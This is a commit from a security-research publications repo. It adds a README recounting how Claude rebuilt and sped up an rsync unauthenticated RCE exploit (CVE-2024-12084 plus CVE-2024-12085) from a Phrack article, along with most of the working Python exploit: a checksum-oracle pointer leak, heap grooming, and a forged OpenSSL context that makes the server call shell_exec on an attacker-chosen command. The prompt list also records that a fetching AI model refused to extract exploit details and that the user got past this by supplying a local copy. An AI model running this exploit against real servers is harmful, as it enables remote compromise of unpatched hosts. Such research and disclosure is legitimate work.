mirror of
https://github.com/califio/publications.git
synced 2026-08-28 22:59:49 +00:00
Add rsync
This commit is contained in:
@@ -13,3 +13,4 @@ Between now and the end of April 2026, we’ll be dropping what we find in this
|
||||
* 2026-03-31: [Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)](CVE-2026-4747)
|
||||
* 2026-04-06: [Discovering a radare2 0-Day in Zero Day](radare2)
|
||||
* 2026-04-06: [GhidraServer PKI User Impersonation via Null Signature](ghidra-server)
|
||||
* 2026-04-06: [Rsync CVE-2024-12084 + CVE-2024-12085 — Unauthenticated RCE](rsync)
|
||||
|
||||
@@ -0,0 +1,306 @@
|
||||
# Feeding Claude Phrack Articles for Fun and Profit
|
||||
|
||||
tl;dr: A teammate gave Claude a Phrack article. It built a working
|
||||
rsync RCE on x86-64. He shared the generated exploit with me but forgot
|
||||
one file, and I needed it on ARM64 anyway. I gave Claude one prompt:
|
||||
*reproduce this*. Ninety minutes later it dropped a working exploit. I
|
||||
told it the exploit was slow; it made it 20x faster. We also asked it
|
||||
to audit the patched rsync, and it came back with new bugs.
|
||||
|
||||
## How this started
|
||||
|
||||
Our new favourite pastime is feeding Claude Phrack articles and seeing
|
||||
what comes back. This time it was Phrack 72's *"Desync the Planet"*,
|
||||
which describes chaining CVE-2024-12085 (stack info leak) into
|
||||
CVE-2024-12084 (heap overflow) for unauthenticated RCE against
|
||||
`rsync --daemon`. A teammate handed Claude the article; it built a
|
||||
working exploit on x86-64. The full session is in
|
||||
[`writeup.md`](writeup.md), prompts and all: where Claude tried adding
|
||||
`fprintf` to `sender.c` and got told "why are you modifying the rsync
|
||||
source?", where it was redirected to GDB, where it was told to actually
|
||||
read the article instead of guessing at the layout.
|
||||
|
||||
He shared [`exploit.py`](exploit.py) with me. Two problems:
|
||||
|
||||
1. **It imported `rsync_lib`, which wasn't in the repo.** He just forgot
|
||||
to share it. Claude had generated this custom protocol library to
|
||||
handle all the heavy lifting: daemon handshake, multiplexed I/O,
|
||||
file list parsing, the deflate-token oracle.
|
||||
2. **It was tuned for x86-64.** Hardcoded binary offsets, an info-leak
|
||||
target at a stack offset that doesn't exist on ARM64, a `.bss` payload
|
||||
layout that assumes a memory map that doesn't match the ARM64 build.
|
||||
|
||||
I wanted to run it on a Debian 12 ARM64 box. So I handed both files (the
|
||||
writeup and the broken exploit) to Claude:
|
||||
|
||||
> **Read the WriteUp and reproduce this exploit with exploit.py**
|
||||
|
||||
That was the entire brief. One prompt. Everything below, from building
|
||||
the missing protocol library to finding the truncated command string,
|
||||
came out of that single instruction. I just watched.
|
||||
|
||||
## What Claude figured out
|
||||
|
||||
**No `rsync_lib.py`.** Claude opened the rsync 3.2.7 source (`io.c`,
|
||||
`flist.c`, `compat.c`, `sender.c`, `token.c`) and built the protocol
|
||||
library from scratch. The first attempt timed out at `setup_protocol`.
|
||||
So it spun up a Python proxy, pointed the *real* rsync client through it
|
||||
at the daemon, and diffed the wire bytes against what its own library
|
||||
was sending. Three things the source doesn't make obvious: daemon args
|
||||
are `\0`-terminated (not `\n`), checksum negotiation is *both sides
|
||||
write, then both sides read* (not request-response), and the post-setup
|
||||
`write_line` calls were bypassing the multiplex layer. The server was
|
||||
reading the `"ZZZZ..."` filter pattern as a multiplex header and dying
|
||||
with `unexpected tag 83` (`'Z' - 7`). Claude spotted that one by just
|
||||
counting: 83 + 7 = 90 = `'Z'`.
|
||||
|
||||
**No GDB.** The container had no `gdb`, no `strace`, no root. So Claude
|
||||
built substitutes. An `LD_PRELOAD` `memcmp` hook to capture the
|
||||
uninitialized `sum2` buffer at the moment of comparison. A 200-line
|
||||
ptrace crash-catcher that attached to the forked rsync child, caught the
|
||||
SIGSEGV, and dumped registers plus the entire payload region from
|
||||
`/proc/PID/mem`. The memcmp hook is where it found the leak target had
|
||||
moved: from `sum2+8` on x86-64 to `sum2+24` on ARM64, a saved LR
|
||||
pointing into `start_server`, three frames up.
|
||||
|
||||
**The trickiest bug.** This is the one I would not have found. The crash
|
||||
dump showed `shell_exec` *had* been called: `algctx` was zeroed by
|
||||
OpenSSL's `str xzr, [x19, #56]` *after* `freectx` returned, not before.
|
||||
Claude poked a `BRK #0` breakpoint right at `shell_exec`'s entry, caught
|
||||
the trap, printed `X0` (the cmd pointer), and followed
|
||||
`PTRACE_O_TRACEFORK`. Hit. Pointer correct. Fork happened. But the proof
|
||||
file never appeared. The breakpoint also printed the command string it
|
||||
read out of memory: `"touch /t"`. Eight bytes. Truncated.
|
||||
|
||||
The ARM64 build's `.bss` layout puts `last_match` at `ctx_evp+0x110`.
|
||||
The first thing `match_sums` does, *before* calling `sum_init`, is
|
||||
`last_match = 0`. Eight zero bytes. Right through the middle of the
|
||||
command string at `+0x108`. `system("touch /t")` tried to write to `/`
|
||||
and failed silently. Claude moved the command to `+0x58` (inside the
|
||||
`ctx_md` union, which the OpenSSL path never touches) and the proof file
|
||||
appeared.
|
||||
|
||||
Five issues total, all found and fixed without ever attaching a real
|
||||
debugger:
|
||||
|
||||
| # | What broke | How Claude found it |
|
||||
|---|---|---|
|
||||
| A1 | Leak target at `sum2+24`, not `+8` | LD_PRELOAD memcmp hook |
|
||||
| A2 | `count=3277` destabilizes the stack | Per-connection probe across 5 runs |
|
||||
| A3 | Command truncated at byte 8 | ptrace bp on `shell_exec` + `match_sums` disasm |
|
||||
| A4 | ARM64 glibc 2.36 still wants ONE filter | `malloc_usable_size` test |
|
||||
| A5 | Three protocol mismatches in `rsync_lib` | socat wire capture vs. real client |
|
||||
|
||||
## Timeline
|
||||
|
||||
About **90 minutes** from a cold container to the first proof file. Claude
|
||||
reconstructed this from daemon log timestamps and file mtimes:
|
||||
|
||||
| Elapsed | Milestone |
|
||||
|--------:|---|
|
||||
| 0:00 | First daemon banner. `rsync_lib` doesn't exist yet. |
|
||||
| 0:30 | Protocol library working: file list parsed, download verified. Three wire-format bugs fixed along the way. |
|
||||
| 0:37 | Info-leak oracle confirmed: `token=-1` means MATCH. The `memcmp` hook found the LR at `sum2+24`. |
|
||||
| 0:59 | Heap overflow lands. Server child crashes silently, proof the write hit `.bss`. |
|
||||
| 1:29 | ptrace breakpoint on `shell_exec`: hit, `X0` correct, fork observed. Still no proof file. |
|
||||
| **1:34** | **First `/tmp/rce_proof.txt`.** Bug A3: `last_match = 0` was zeroing `cmd[8:16]`. Moved cmd to `+0x58`. |
|
||||
|
||||
The split was roughly even: a third building the protocol library, a
|
||||
third finding the ARM64 leak target, a third figuring out why
|
||||
`shell_exec` ran but the file never appeared.
|
||||
|
||||
## "It works but it's slow"
|
||||
|
||||
First successful run: about five minutes. The leak now needs 24 bytes
|
||||
(not 8), at ~128 connections per byte, ~120ms per connection.
|
||||
|
||||
I told Claude:
|
||||
|
||||
> **Your exploit now takes 5 minutes to run, probably because of the
|
||||
> brute-forcing in first step. Make it faster.**
|
||||
|
||||
Claude came back with two stacked changes. First, a hint table: it had
|
||||
noticed during the leak debugging that 18 of those 24 bytes are
|
||||
structural constants on ARM64. User-space addresses are
|
||||
`0x0000_aaaa_xxxx_xxxx` for the binary, `0x0000_ffff_xxxx_xxxx` for the
|
||||
stack. The page-offset bits of the leaked pointer are exactly the
|
||||
page-offset bits of `LEAK_OFFSET` (the base is page-aligned). It encoded
|
||||
those as first-try hints, one connection each. Second, for the ~6 truly
|
||||
random bytes, it wrapped the probe in `ThreadPoolExecutor(16)`: fire all
|
||||
256 guesses at once, take the first hit.
|
||||
|
||||
The exploit now takes 14 seconds:
|
||||
|
||||
```bash
|
||||
mkdir -p /tmp/rsync_test_module
|
||||
echo "hello world" > /tmp/rsync_test_module/foo.txt
|
||||
echo "test data here" > /tmp/rsync_test_module/bar.txt
|
||||
cp rsyncd_test.conf /tmp/
|
||||
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1
|
||||
time python3 exploit.py "rsync://127.0.0.1:12000/files" "id > /tmp/rce_proof.txt"
|
||||
[*] Phase 1: info leak | file=bar.txt size=15
|
||||
sum2[8] = 0x00 (1 total connections)
|
||||
sum2[9] = 0x00 (2 total connections)
|
||||
sum2[10] = 0x00 (3 total connections)
|
||||
sum2[11] = 0x00 (4 total connections)
|
||||
sum2[12] = 0xab (260 total connections)
|
||||
sum2[13] = 0xaa (261 total connections)
|
||||
sum2[14] = 0x00 (262 total connections)
|
||||
sum2[15] = 0x00 (263 total connections)
|
||||
sum2[16] = 0x00 (519 total connections)
|
||||
sum2[17] = 0x7a (775 total connections)
|
||||
sum2[18] = 0xde (1031 total connections)
|
||||
sum2[19] = 0xee (1287 total connections)
|
||||
sum2[20] = 0xff (1288 total connections)
|
||||
sum2[21] = 0xff (1289 total connections)
|
||||
sum2[22] = 0x00 (1290 total connections)
|
||||
sum2[23] = 0x00 (1291 total connections)
|
||||
sum2[24] = 0xc4 (1292 total connections)
|
||||
sum2[25] = 0xae (1293 total connections)
|
||||
sum2[26] = 0xdc (1549 total connections)
|
||||
sum2[27] = 0xd2 (1805 total connections)
|
||||
sum2[28] = 0xaa (1806 total connections)
|
||||
sum2[29] = 0xaa (1807 total connections)
|
||||
sum2[30] = 0x00 (1808 total connections)
|
||||
sum2[31] = 0x00 (1809 total connections)
|
||||
[+] Leaked .text ptr : 0xaaaad2dcaec4
|
||||
[+] Binary base : 0xaaaad2da0000
|
||||
|
||||
[*] Phase 2: heap overflow → RCE
|
||||
shell_exec = 0xaaaad2dca120
|
||||
ctx_evp = 0xaaaad2e54fb0
|
||||
payload = 344 bytes at &ctx_evp
|
||||
fake_ctx = 0xaaaad2e54fb8 (+8)
|
||||
fake_evpmd = 0xaaaad2e55050 (+160)
|
||||
cmd_addr = 0xaaaad2e55008 (+88)
|
||||
target ndx=1 file=bar.txt
|
||||
sending payload (344 bytes) to &ctx_evp...
|
||||
overflow complete, consuming server output...
|
||||
server connection ended: connection closed
|
||||
[+] Payload delivered.
|
||||
|
||||
real 0m14.383s
|
||||
user 0m0.674s
|
||||
sys 0m1.609s
|
||||
cat /tmp/rce_proof.txt
|
||||
```
|
||||
|
||||
## And there's more
|
||||
|
||||
Before any of this, the same teammate had asked Claude to audit the
|
||||
patched rsync:
|
||||
|
||||
> **now that you have a good grasp of this vulnerability and exploitation
|
||||
> can you audit the latest rsync for variants that may allow exploitation**
|
||||
|
||||
Claude went file-by-file through all 48 `.c` source files in 3.4.1 (the
|
||||
version with all CVEs fixed). We're verifying the findings now and
|
||||
preparing reports.
|
||||
|
||||
## Every prompt, both sessions
|
||||
|
||||
The complete steering record. Prompts 1-12 are the original x86-64
|
||||
session (the teammate driving); 13-17 are the ARM64 port (me driving).
|
||||
|
||||
1. *Initial request*: exploit rsync CVE-2024-12084 (heap overflow) +
|
||||
CVE-2024-12085 (info leak) into a full RCE chain against rsync 3.2.7
|
||||
daemon, following the Phrack 72 "Desync the Planet" article.
|
||||
|
||||
2. **"why are you modifying the rsync source?"** Claude had been adding
|
||||
`fprintf` debug statements to sender.c and recompiling. He pointed
|
||||
out this shifts binary offsets (`ctx_evp`, `shell_exec`, etc.) and
|
||||
invalidates the exploit constants.
|
||||
|
||||
3. **"you should be using gdb .."** Redirected Claude from
|
||||
printf-debugging to GDB. Led to the attach-to-daemon workflow with
|
||||
`set follow-fork-mode child` that proved essential for every
|
||||
subsequent debugging step.
|
||||
|
||||
4. **"what sandbox"** Claude had confused /tmp file isolation with
|
||||
sandboxing. He clarified the environment.
|
||||
|
||||
5. **"if you need root the password is x ?"** Root credentials to fix
|
||||
`ptrace_scope` (was set to 1, blocking GDB attach). Claude ran
|
||||
`echo 0 > /proc/sys/kernel/yama/ptrace_scope`.
|
||||
|
||||
6. **"are you following the phrack exploitation? it outlines it pretty
|
||||
clear"** Critical redirect. Claude had been inventing a multi-entry
|
||||
layout trying to align 40-byte `sum_buf` strides with 48-byte
|
||||
`EVP_MD_CTX` field offsets. The Phrack one-shot contiguous write
|
||||
approach is far simpler and more reliable.
|
||||
|
||||
7. **"read the phrack exploit - they use the info leak + heap overflow
|
||||
to get a reliable exploit."** Prompted Claude to actually read the
|
||||
full article rather than working from partial understanding.
|
||||
|
||||
8. **"the writeup is in /tmp/rsync.txt"** Pointed Claude at the local
|
||||
copy of the Phrack article. Saved time vs trying to web-fetch it
|
||||
(the WebFetch AI model refused to extract exploit details).
|
||||
|
||||
9. **"if you need to setup a qemu with the exact debian + rsync used
|
||||
that is fine"** Offered the exact Debian 12 target environment.
|
||||
Claude didn't end up needing it; it adapted the exploit to the
|
||||
Ubuntu 22.04 system instead.
|
||||
|
||||
10. **"perfect it seems to work!! can you document your whole process +
|
||||
my prompts in a writeup! include how to get it working on other
|
||||
installations etc and debugging instructions."** Led to writeup.md.
|
||||
|
||||
11. **"now that you have a good grasp of this vulnerability and
|
||||
exploitation can you audit the latest rsync for variants that may
|
||||
allow exploitation"** Led to the rsync 3.4.1 audit.
|
||||
|
||||
12. **"the WRITEUP didnt include all of my prompts"** This correction,
|
||||
leading to the expanded prompt section.
|
||||
|
||||
### ARM64 port session
|
||||
|
||||
13. **"Read the WriteUp and reproduce this exploit with exploit.py"**
|
||||
My only real prompt. Environment was Debian 12 / arm64 / glibc
|
||||
2.36: different OS, different glibc, different *architecture* from
|
||||
the writeup. No GDB, no strace, no root. Claude found and fixed
|
||||
five distinct arm64-specific bugs. It built `rsync_lib.py` from
|
||||
scratch by reading rsync 3.2.7 source; a socat wire capture
|
||||
revealed args use `\0` not `\n`, checksum negotiation is
|
||||
bidirectional, and `write_line` was bypassing the multiplex layer
|
||||
(server: "unexpected tag 83" = `'Z' - MPLEX_BASE`). The trickiest
|
||||
bug: `shell_exec` *did* fire and *did* fork, but `match_sums`
|
||||
zeroes `last_match` at `ctx_evp+0x110` before `sum_init`,
|
||||
truncating the command at byte 8. Claude diagnosed it with a
|
||||
ptrace breakpoint on `shell_exec` that printed `X0` and followed
|
||||
`PTRACE_O_TRACEFORK`: fork happened, cmd pointer correct, string
|
||||
read back as `"touch /t"`. It moved cmd to `+0x58`.
|
||||
|
||||
14. **"continue"** I re-granted permission after a tool-use rejection
|
||||
during daemon startup. Claude resumed without issue.
|
||||
|
||||
15. **"Alright, add to the writeup your adaptions"** Claude wrote
|
||||
section 3a documenting all five arm64 bugs, the GDB-free
|
||||
methodology (LD_PRELOAD probes, ptrace crash-catcher,
|
||||
pattern-payload survival test), and the working run output.
|
||||
|
||||
16. **"Your exploit now takes 5 minutes to run, probably because of
|
||||
the brute-forcing in first step. Make it faster."** Claude stacked
|
||||
two fixes: a hint table (18/24 bytes are structural constants on
|
||||
arm64: `0x00` canonical bits, `0xaa`/`0xff` region prefixes,
|
||||
`LEAK_OFFSET` page-offset bits) and a `ThreadPoolExecutor(16)` for
|
||||
the truly random bytes. 5 minutes to 14 seconds.
|
||||
|
||||
17. **"Add to the writeup the ARM64 environment, and a note about
|
||||
speeding up, including a sample run [...] Also update the user
|
||||
prompts with the prompts/responses so far"** Claude added the
|
||||
arm64 environment table, the speedup section + timed run, and
|
||||
entries 13-17 to this list.
|
||||
|
||||
## Files
|
||||
|
||||
| File | What it is |
|
||||
|---|---|
|
||||
| `exploit.py` | Original x86-64 exploit (Ubuntu 22.04 / glibc 2.35) |
|
||||
| `rsync_lib.py` | Original protocol library (now recovered and included so the writeup is complete) |
|
||||
| `writeup.md` | Original development log: Phrack approach, x86-64 debugging |
|
||||
| `exploit2.py` | ARM64 port (Debian 12 / glibc 2.36): 24-byte leak, relocated payload, parallel oracle |
|
||||
| `rsync_lib2.py` | Protocol library Claude rebuilt from rsync 3.2.7 source when the original was missing |
|
||||
| `writeup2.md` | ARM64 port log; section 3a covers all five issues and the GDB-free methodology |
|
||||
| `rsyncd_test.conf` | Minimal daemon config: one read-only module, no chroot |
|
||||
| `README.md` | This file |
|
||||
@@ -0,0 +1,314 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Combined CVE-2024-12085 + CVE-2024-12084 → Unauthenticated RCE on rsync.
|
||||
|
||||
Phase 1 — Info leak: Leak a .text pointer via the xxh64 checksum oracle.
|
||||
Phase 2 — Heap overflow: Single-connection write-what-where that plants a
|
||||
fake EVP_MD_CTX + EVP_MD in .bss and overwrites ctx_evp.
|
||||
|
||||
Trigger path (from OpenSSL 3.0.2 libcrypto disassembly):
|
||||
sum_init() → EVP_DigestInit_ex(ctx_evp, ...) → EVP_MD_CTX_reset(ctx_evp)
|
||||
→ internal_cleanup(ctx, 0, 0):
|
||||
rdi = ctx[0x38] (algctx → command string)
|
||||
rax = ctx[0x08] (digest → fake EVP_MD)
|
||||
rax = digest[0xb0] (freectx → shell_exec)
|
||||
call *rax → shell_exec(cmd)
|
||||
|
||||
Layout challenge: sum_buf entries are 40 bytes, but EVP_MD_CTX fields at
|
||||
+0x08 and +0x38 are 48 bytes apart (48 not divisible by 40).
|
||||
Solution: place fake_ctx at slot+6 so [0x08] uses sum1+chain (split 8-byte
|
||||
write) and [0x38] lands on the next entry's sum2.
|
||||
|
||||
Target: rsync 3.2.7 (unpatched), xxhash + OpenSSL 3.x.
|
||||
Offsets are binary-specific — adjust the constants below.
|
||||
|
||||
Usage:
|
||||
python3 poc_rce.py rsync://<host>:<port>/<module> '<command>'
|
||||
"""
|
||||
|
||||
import struct, sys, time
|
||||
import xxhash
|
||||
import rsync_lib as R
|
||||
|
||||
# ── Binary offsets (nm /tmp/rsync-3.2.7/rsync) ──────────────
|
||||
CHECK_COMPRESSION_OFFSET = 0x436f7 # set_compression+599
|
||||
SHELL_EXEC_OFFSET = 0x2b970 # shell_exec()
|
||||
CTX_EVP_OFFSET = 0x9dc28 # EVP_MD_CTX *ctx_evp
|
||||
XFER_SUM_NNI_OFFSET = 0x89310 # SHA1 entry in valid_checksums_items
|
||||
|
||||
# ── OpenSSL 3.0.2 struct offsets (from disassembly) ─────────
|
||||
# EVP_MD_CTX (72 = 0x48 bytes):
|
||||
# +0x08 = digest (const EVP_MD*)
|
||||
# +0x10 = engine (ENGINE*) — must be NULL
|
||||
# +0x18 = flags (uint32) — must have 0x402 set
|
||||
# +0x20 = md_data — must be NULL
|
||||
# +0x28 = pctx — skipped if flags & 0x400
|
||||
# +0x38 = algctx (void*) — 1st arg to freectx
|
||||
# +0x40 = fetched_digest — must be NULL
|
||||
#
|
||||
# EVP_MD:
|
||||
# +0xb0 = freectx function pointer
|
||||
# +0x40 = cleanup callback — skipped if flags & 0x02
|
||||
|
||||
# ── Heap overflow constants ─────────────────────────────────
|
||||
CHECKSUM_SEED = 1337
|
||||
SUM_BUF_SIZE = 40
|
||||
SUM_BUF_OFF = 22 # offsetof(sum_buf, sum2)
|
||||
TCACHE_MIN, TCACHE_MAX, TCACHE_STEP, TCACHE_SLOTS = 24, 1032, 16, 7
|
||||
|
||||
|
||||
def send_args(rc, compress=False):
|
||||
rc.write_line('--server'); rc.write_line('--sender')
|
||||
rc.write_line('--compress-choice=zlib' if compress else '--no-compress')
|
||||
rc.write_line('--no-iconv')
|
||||
rc.write_line(f'--checksum-seed={CHECKSUM_SEED}')
|
||||
rc.write_line('--checksum')
|
||||
for o in ['--no-crtimes','--no-atimes','--no-owner','--no-group',
|
||||
'--no-devices','--no-specials','--no-links','--no-hard-links',
|
||||
'--no-acls','--no-inc-recursive']:
|
||||
rc.write_line(o)
|
||||
rc.write_line('-r'); rc.write_line('-e.v')
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
# Phase 1 — Info Leak
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
|
||||
def leak_pointer(url):
|
||||
rc = R.connect(url, '31', 'xxh64')
|
||||
send_args(rc); rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
||||
rc.setup_protocol(); rc.write_raw_int(0)
|
||||
files = rc.read_file_list()
|
||||
tgt = next(f for f in files if R.is_reg(f.mode) and f.size < (1<<17))
|
||||
ti = files.index(tgt)
|
||||
data = rc.download_file(ti, tgt); rc.close()
|
||||
|
||||
s1 = R.adler32_rsync(data)
|
||||
h = xxhash.xxh64(seed=CHECKSUM_SEED); h.update(data)
|
||||
s2 = struct.pack('<Q', h.intdigest())
|
||||
print(f"[*] Phase 1: info leak | file={tgt.name} size={tgt.size}")
|
||||
|
||||
for j in range(8):
|
||||
for i in range(256):
|
||||
try:
|
||||
rc = R.connect(url, '31', 'xxh64')
|
||||
send_args(rc, compress=True)
|
||||
rc.write_line('.'); rc.write_line(rc.module+'/'); rc.write_line('')
|
||||
rc.setup_protocol(); rc.write_raw_int(0); rc.read_file_list()
|
||||
rc.write_ndx(ti); rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
||||
ov = s2 + bytes([i])
|
||||
rc.write_raw_int(3277); rc.write_raw_int(tgt.size)
|
||||
rc.write_raw_int(len(ov)); rc.write_raw_int(0)
|
||||
rc.write_bulk((struct.pack('<I', s1) + ov) * 3277)
|
||||
rc.read_ndx(); rc.read_short_int()
|
||||
rc.read_int(); rc.read_int(); rc.read_int(); rc.read_int()
|
||||
sig, _ = rc.receive_deflate_token(); rc.close()
|
||||
if sig < 0:
|
||||
print(f" sum2[{8+j}] = 0x{i:02x}")
|
||||
s2 += bytes([i]); break
|
||||
except: continue
|
||||
|
||||
ptr = struct.unpack('<Q', s2[8:])[0]
|
||||
base = ptr - CHECK_COMPRESSION_OFFSET
|
||||
print(f"[+] Leaked .text ptr : 0x{ptr:x}")
|
||||
print(f"[+] Binary base : 0x{base:x}")
|
||||
return base, s1, tgt, ti
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
# Phase 2 — Heap Overflow → RCE (Phrack approach)
|
||||
# ═══════════════════════════════════════════════════════════
|
||||
|
||||
def do_rce(url, base, command, file_sum1, tgt, tgt_ndx):
|
||||
"""
|
||||
Single-connection overflow following the Phrack "one-shot" approach:
|
||||
corrupt s->sums to point at &ctx_evp, set s->s2length to the full
|
||||
payload size, then write a CONTIGUOUS payload in a single read_buf
|
||||
call directly to .bss:
|
||||
|
||||
[ctx_evp ptr][fake EVP_MD_CTX (72B)][fake EVP_MD (~184B)][cmd string]
|
||||
|
||||
Trigger: sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset
|
||||
→ ctx->digest->freectx(ctx->algctx) → shell_exec(cmd)
|
||||
"""
|
||||
shell_exec = base + SHELL_EXEC_OFFSET
|
||||
ctx_evp = base + CTX_EVP_OFFSET
|
||||
|
||||
print(f"\n[*] Phase 2: heap overflow → RCE")
|
||||
print(f" shell_exec = 0x{shell_exec:x}")
|
||||
print(f" ctx_evp = 0x{ctx_evp:x}")
|
||||
|
||||
# ── Build the contiguous .bss payload ────────────────
|
||||
# Written at &ctx_evp by one read_buf(f, sums[extra].sum2, s2length)
|
||||
#
|
||||
# Layout (offsets from &ctx_evp):
|
||||
# 0x000: ctx_evp value → points to fake_ctx (at +8)
|
||||
# 0x008: fake EVP_MD_CTX (72 bytes = 0x48)
|
||||
# +0x08: digest → fake EVP_MD (at payload +0x50)
|
||||
# +0x18: flags = 0x400 (skip pctx cleanup)
|
||||
# +0x38: algctx → cmd string (at payload +0x50+0xb8)
|
||||
# all others: 0
|
||||
# 0x050: fake EVP_MD (need at least 0xb8 bytes)
|
||||
# +0xb0: freectx = shell_exec
|
||||
# all others: 0
|
||||
# 0x108: command string + null terminator
|
||||
|
||||
fake_ctx_off = 8
|
||||
fake_evp_md_off = fake_ctx_off + 0x48 # 0x50 = 80
|
||||
cmd_off = fake_evp_md_off + 0xb8 # 0x108 = 264
|
||||
|
||||
cmd_bytes = command.encode('latin-1') + b'\x00'
|
||||
payload_size = cmd_off + len(cmd_bytes)
|
||||
|
||||
fake_ctx_addr = ctx_evp + fake_ctx_off
|
||||
fake_evp_md_addr = ctx_evp + fake_evp_md_off
|
||||
cmd_addr = ctx_evp + cmd_off
|
||||
|
||||
xfer_sum_nni = base + XFER_SUM_NNI_OFFSET
|
||||
|
||||
payload = bytearray(payload_size)
|
||||
|
||||
# ctx_evp pointer → fake_ctx
|
||||
struct.pack_into('<Q', payload, 0, fake_ctx_addr)
|
||||
|
||||
# Preserve critical globals that our payload overwrites in .bss:
|
||||
# xfer_sum_nni at ctx_evp+0x30 — needed for sum_init to take the EVP path
|
||||
struct.pack_into('<Q', payload, 0x30, xfer_sum_nni)
|
||||
|
||||
# fake EVP_MD_CTX fields (at +8)
|
||||
struct.pack_into('<Q', payload, fake_ctx_off + 0x08, fake_evp_md_addr) # digest
|
||||
struct.pack_into('<I', payload, fake_ctx_off + 0x18, 0x400) # flags
|
||||
struct.pack_into('<Q', payload, fake_ctx_off + 0x38, cmd_addr) # algctx
|
||||
|
||||
# fake EVP_MD: only freectx at +0xb0 matters
|
||||
struct.pack_into('<Q', payload, fake_evp_md_off + 0xb0, shell_exec)
|
||||
|
||||
# command string
|
||||
payload[cmd_off:cmd_off + len(cmd_bytes)] = cmd_bytes
|
||||
|
||||
print(f" payload = {payload_size} bytes at &ctx_evp")
|
||||
print(f" fake_ctx = 0x{fake_ctx_addr:x} (+{fake_ctx_off})")
|
||||
print(f" fake_evpmd = 0x{fake_evp_md_addr:x} (+{fake_evp_md_off})")
|
||||
print(f" cmd_addr = 0x{cmd_addr:x} (+{cmd_off})")
|
||||
|
||||
# ── Overflow: redirect sums + set s2length = payload_size ──
|
||||
groom_count = 5
|
||||
n_extra = 1 # just ONE extra entry
|
||||
s2len_initial = 64
|
||||
|
||||
sums_base = ctx_evp - groom_count * SUM_BUF_SIZE - SUM_BUF_OFF
|
||||
|
||||
overflow_payload = bytearray(s2len_initial)
|
||||
struct.pack_into('<Q', overflow_payload, 18, 0x31) # chunk metadata
|
||||
off = 26
|
||||
struct.pack_into('<Q', overflow_payload, off, 0) # flength
|
||||
struct.pack_into('<Q', overflow_payload, off + 8, sums_base & 0xFFFFFFFFFFFFFFFF) # sums
|
||||
struct.pack_into('<I', overflow_payload, off + 16, groom_count + n_extra) # count=6
|
||||
struct.pack_into('<I', overflow_payload, off + 20, 1337) # blength
|
||||
struct.pack_into('<I', overflow_payload, off + 24, 0) # remainder
|
||||
struct.pack_into('<I', overflow_payload, off + 28, payload_size) # s2length!
|
||||
|
||||
# ── Connect and send ─────────────────────────────────
|
||||
rc = R.connect(url, '31', 'sha1')
|
||||
send_args(rc, compress=True)
|
||||
|
||||
# Tcache defragmentation: fill all bins so allocations come from wilderness
|
||||
for sz in range(TCACHE_MIN, TCACHE_MAX + 1, TCACHE_STEP):
|
||||
for _ in range(TCACHE_SLOTS * 2):
|
||||
rc.write_line('-M-' + 'A' * (sz - 2))
|
||||
|
||||
rc.write_line('.'); rc.write_line('./'); rc.write_line('')
|
||||
rc.setup_protocol()
|
||||
|
||||
# Heap grooming: single filter creates pattern(200B) + filter_rule(48B).
|
||||
# Free with '!' pushes both to tcache. sum_struct(48B) lands right after
|
||||
# sums(200B) giving us an 8-byte gap (chunk header only).
|
||||
# NOTE: on our glibc 2.35, a second filter "+" a" creates an extra 48B
|
||||
# chunk in the gap. Omitting it gives the correct diff=8 layout.
|
||||
filt = '+ ' + 'Z' * (groom_count * SUM_BUF_SIZE - 1)
|
||||
rc.write_raw_int(len(filt) + 1); rc.write_line(filt)
|
||||
rc.write_raw_int(2); rc.write_line('!')
|
||||
rc.write_raw_int(0)
|
||||
|
||||
files = rc.read_file_list()
|
||||
ndx = next(i for i, f in enumerate(files) if R.is_reg(f.mode) and f.size > 0)
|
||||
print(f" target ndx={ndx} file={files[ndx].name}")
|
||||
rc.write_ndx(ndx)
|
||||
rc.write_short_int(R.ITEM_TRANSFER_FLAG)
|
||||
|
||||
# ── Send sum head (for the initial grooming entries) ──
|
||||
rc.write_raw_int(groom_count) # count = 5
|
||||
rc.write_raw_int(1337) # blength
|
||||
rc.write_raw_int(s2len_initial) # s2length = 64
|
||||
rc.write_raw_int(0) # remainder
|
||||
|
||||
# ── Send grooming entries (all use the same overflow payload) ──
|
||||
bulk = bytearray()
|
||||
for j in range(groom_count):
|
||||
bulk += struct.pack('<I', 0) # sum1 (don't care)
|
||||
bulk += bytes(overflow_payload) # 64 bytes of sum2
|
||||
rc.write_bulk(bytes(bulk))
|
||||
|
||||
# ── Send the ONE extra entry: sum1 (4B) + sum2 (payload) ──
|
||||
print(f" sending payload ({payload_size} bytes) to &ctx_evp...")
|
||||
ext_bulk = struct.pack('<I', 0) + bytes(payload)
|
||||
rc.write_bulk(bytes(ext_bulk))
|
||||
|
||||
print(f" overflow complete, consuming server output...")
|
||||
|
||||
# ── Consume server output to unblock the trigger ─────
|
||||
# After receive_sums, the server enters match_sums → hash_search →
|
||||
# sum_init → EVP_DigestInit_ex(ctx_evp) → EVP_MD_CTX_reset →
|
||||
# internal_cleanup → freectx(algctx) → shell_exec(cmd)
|
||||
#
|
||||
# We must read the server's echo (ndx + sum_head) so it doesn't
|
||||
# block on write().
|
||||
rc.sock.settimeout(10.0)
|
||||
try:
|
||||
# Read NDX echo + iflags
|
||||
rc.read_ndx()
|
||||
rc.read_short_int()
|
||||
print(f" read ndx echo OK")
|
||||
# Read sum head echo (count, blength, s2length, remainder)
|
||||
echo_count = rc.read_int()
|
||||
echo_bl = rc.read_int()
|
||||
echo_s2 = rc.read_int()
|
||||
echo_rem = rc.read_int()
|
||||
print(f" sum head echo: count={echo_count} bl={echo_bl} "
|
||||
f"s2={echo_s2} rem={echo_rem}")
|
||||
|
||||
# The server now enters match_sums → sum_init → trigger.
|
||||
# shell_exec forks+exec's the command, then returns.
|
||||
# Wait for any output or connection close.
|
||||
time.sleep(3)
|
||||
try:
|
||||
while True:
|
||||
d = rc.sock.recv(4096)
|
||||
if not d:
|
||||
break
|
||||
except:
|
||||
pass
|
||||
except Exception as e:
|
||||
print(f" server connection ended: {e}")
|
||||
|
||||
